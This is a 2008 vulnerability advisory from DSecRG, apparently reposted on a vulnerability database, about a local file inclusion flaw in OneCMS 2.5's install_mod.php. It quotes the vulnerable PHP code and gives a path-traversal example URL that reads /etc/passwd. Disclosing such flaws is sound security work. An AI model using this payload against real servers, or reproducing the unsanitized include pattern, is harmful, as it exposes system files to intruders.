OneCMS 2.5 (install_mod.php) Local File Inclusion Vulnerability

🗓️ 24 May 2008 00:00:00Reported by RootType

OneCMS 2.5 Local File Inclusion Vulnerability. Vulnerability found in install_mod.php, allowing unauthorized file inclusion. Exploitable to access sensitive system files. No vendor response or solution provided


                                                Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;Advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#DSECRG-08-034


Application:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OneCMS
Versions&nbsp;Affected:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.5
Vendor&nbsp;URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.insanevisions.com/
Bug:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Local&nbsp;File&nbsp;Include
Exploits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YES
Reported:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;26.03.2008
Vendor&nbsp;Response:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NONE
Solution:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NONE
Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;23.05.2008
Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;(research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru)



Description
***********

Local&nbsp;File&nbsp;Include&nbsp;vulnerability&nbsp;found&nbsp;in&nbsp;script&nbsp;install_mod.php


Code
****
#################################################

&nbsp;$mod&nbsp;=&nbsp;$_GET['load'];
&nbsp;$filexp&nbsp;=&nbsp;explode(&quot;.&quot;,&nbsp;$mod);
&nbsp;$filetype&nbsp;=&nbsp;$filexp[1];
&nbsp;$file&nbsp;=&nbsp;$filexp[0];
&nbsp;$file2&nbsp;=&nbsp;&quot;mods/$mod&quot;;

&nbsp;if&nbsp;(!is_numeric($mod))&nbsp;{&nbsp;//&nbsp;makes&nbsp;sure&nbsp;that&nbsp;the&nbsp;user&nbsp;isnt&nbsp;entering&nbsp;a&nbsp;#
&nbsp;if&nbsp;($filetype&nbsp;==&nbsp;&quot;php&quot;)&nbsp;{
&nbsp;if&nbsp;($_GET['act']&nbsp;==&nbsp;&quot;&quot;)&nbsp;{
&nbsp;echo&nbsp;&quot;Are&nbsp;you&nbsp;sure&nbsp;you&nbsp;would&nbsp;like&nbsp;to&nbsp;install&nbsp;the&nbsp;&lt;b&gt;&quot;.$file.&quot;&lt;/b&gt;&nbsp;module?&lt;br&gt;&lt;a&nbsp;href='install_mod.php?load=&quot;.$mod.&quot;&amp;act=go'&gt;Yes&lt;/a&gt;&quot;;
&nbsp;}
&nbsp;if&nbsp;($_GET['act']&nbsp;==&nbsp;&quot;go&quot;)&nbsp;{
&nbsp;include&nbsp;($file2);
&nbsp;...

#################################################


Example:

http://[server]/[installdir]/install_mod.php?act=go&amp;load=1234.php../../../../../../../../../../../../../etc/passwd



About
*****

Digital&nbsp;Security&nbsp;is&nbsp;leading&nbsp;IT&nbsp;security&nbsp;company&nbsp;in&nbsp;Russia,&nbsp;providing&nbsp;information&nbsp;security&nbsp;consulting,&nbsp;audit&nbsp;and&nbsp;penetration&nbsp;testing&nbsp;services,&nbsp;risk&nbsp;analysis&nbsp;and&nbsp;ISMS-related&nbsp;services&nbsp;and&nbsp;certification&nbsp;for&nbsp;ISO/IEC&nbsp;27001:2005&nbsp;and&nbsp;PCI&nbsp;DSS&nbsp;standards.&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;focuses&nbsp;on&nbsp;web&nbsp;application&nbsp;and&nbsp;database&nbsp;security&nbsp;problems&nbsp;with&nbsp;vulnerability&nbsp;reports,&nbsp;advisories&nbsp;and&nbsp;whitepapers&nbsp;posted&nbsp;regularly&nbsp;on&nbsp;our&nbsp;website.


Contact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;(in&nbsp;Russian)

24 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

onecms local file include vulnerability install_mod.php exploits digital security research group advisory unauthorized file inclusion sensitive system files vulnerability reports no vendor responseiso/iec 27001:2005 pci dss standards information security consulting audit penetration testing risk analysis isms-related certification.